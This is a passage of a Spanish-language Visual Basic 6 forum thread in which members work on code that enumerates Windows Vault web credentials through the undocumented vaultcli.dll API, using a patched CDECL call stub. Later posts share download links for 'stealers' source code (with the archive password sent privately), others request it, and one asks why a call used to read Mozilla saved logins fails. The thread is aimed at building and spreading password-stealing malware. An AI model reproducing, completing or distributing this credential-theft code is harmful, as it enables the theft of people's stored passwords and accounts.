  458. Public Sub Main()
  459. '   if (InitVault()) {ListwebCredentials}
  460.    If InitVault Then ListWebCredentials
  461. End Sub
  462.  
  463. Private Function CallFunc(ByVal sFunction As String, ParamArray ParmLongs() As Variant) As Long
  464.     Dim i As Long
  465.     Dim j As Long
  466.     If (StrComp(sLastFunc, sFunction) <> 0) Or bNewDLL Then
  467.         nAddr = GetProcAddress(hMod, sFunction)
  468.         PutMem4 pCode + PATCH_01, nAddr - pCode - (PATCH_01 + 4)
  469.         bNewDLL = False
  470.         sLastFunc = sFunction
  471.     End If
  472.     With pb
  473.         j = UBound(ParmLongs)
  474.         For i = 0 To j
  475.             .Params(i) = ParmLongs(i)
  476.         Next i
  477.         .ParamCount = i                                         '(j + 1)
  478.    End With
  479.     CallFunc = z_DO_NOT_CALL(VarPtr(pb))                      'Execute the code buffer passing the address of the parameter block
  480. End Function
  481.  
  482. Public Function z_DO_NOT_CALL(ByVal nAddrParamBlock As Long) As Long
  483. End Function
  484.  

GRACIAS POR LEER!!!
Título: Re:COBEIN lee esto por favor...
Publicado por: 79137913 en Septiembre 04, 2013, 12:05:56 pm
HOLA!!!

Actualizo, ya traduje mucho mas de la funcion!!!

GRACIAS POR LEER!!!
Título: Re:COBEIN lee esto por favor...
Publicado por: LeandroA en Septiembre 04, 2013, 12:26:24 pm
Hola, yo intente varias formas, pero me crashea el vb, no hay documentación sobre esta api, esta solo ese ejemplo que tampoco se si funciona, por lo visto es una dll CDECL pero como dije antes me explota

almenos algo sensillo antes de seguir
Código: Visual Basic
  1.    Dim ppVaultGuids() As Guid
  2.    Dim dwVaults As Long
  3.    ReDim ppVaultGuids(20)
  4.    
  5.    cCDECL.DllLoad "vaultcli.dll"
  6.    Call cCDECL.CallFunc("VaultEnumerateVaults", 0&, VarPtr(dwVaults), VarPtr(ppVaultGuids(0)))
  7.  

el tipo Guid esta declarado en el vb, me queda la duda, si se declara en un TLB pueda llegar a safar.



Título: Re:COBEIN lee esto por favor...
Publicado por: Bazooka en Junio 01, 2014, 09:43:24 pm
Hola veo que en este post han utilizado la DLL sqlite3vb.dll y no la puedo encontrar todas las paginas me vueltean por todos lados.
Alguno la comparte?

Gracias
Título: Re:COBEIN lee esto por favor...
Publicado por: 79137913 en Junio 02, 2014, 08:35:43 am
HOLA!!!

http://www.mediafire.com/download/9ddnzufoutl6dhh/SQLite3VB.rar

p.d:Alguien quiere los codigos de los stealers? Cobein los queres ?

GRACIAS POR LEER!!!
Título: Re:COBEIN lee esto por favor...
Publicado por: Bazooka en Junio 02, 2014, 09:25:56 am
HOLA!!!

http://www.mediafire.com/download/9ddnzufoutl6dhh/SQLite3VB.rar

p.d:Alguien quiere los codigos de los stealers? Cobein los queres ?

GRACIAS POR LEER!!!


Muchas Gracias!! amigo

a mi me interesan los stealers !
Título: Re:COBEIN lee esto por favor...
Publicado por: 79137913 en Junio 02, 2014, 10:32:31 am
HOLA!!!

Los codigos estan aca, Password del rar por privado asi no les damos navajas a los monos que pueden  ingresar aca por google. ;)

http://www.mediafire.com/view/6p6a6wg5roo07ow/stealers(3).rar

GRACIAS POR LEER!!!
Título: Re:COBEIN lee esto por favor...
Publicado por: tomi en Junio 18, 2015, 09:18:39 pm
Hi,

This might be an old topic but I was wondering if someone with great knowledge in c++  and vb6 would like to convert a code I've found for listening credentials from Windows Vault. Unlike the code above it doesn't contain the undocumented API VaultEnumerateVaults and its working great.

Thanks
Título: Re:COBEIN lee esto por favor...
Publicado por: coco en Junio 19, 2015, 12:06:07 am
Hi,

This might be an old topic but I was wondering if someone with great knowledge in c++  and vb6 would like to convert a code I've found for listening credentials from Windows Vault. Unlike the code above it doesn't contain the undocumented API VaultEnumerateVaults and its working great.

Thanks


Post it and I might do that. Not right now since I'm studying for finals.
Título: Re:COBEIN lee esto por favor...
Publicado por: gasafonso en Junio 19, 2015, 02:22:54 pm
Me envias el codigo del .rara ? gracias amigo
Título: Re:COBEIN lee esto por favor...
Publicado por: tomi en Enero 31, 2016, 02:19:12 pm
Hi,

Does anyone knows why CallFunc("PK11_GetInternalKeySlot") could not be loaded on Windows 8 and Windows 10 from the code above for  Mozilla logins?
It always returns 0 instead of something else.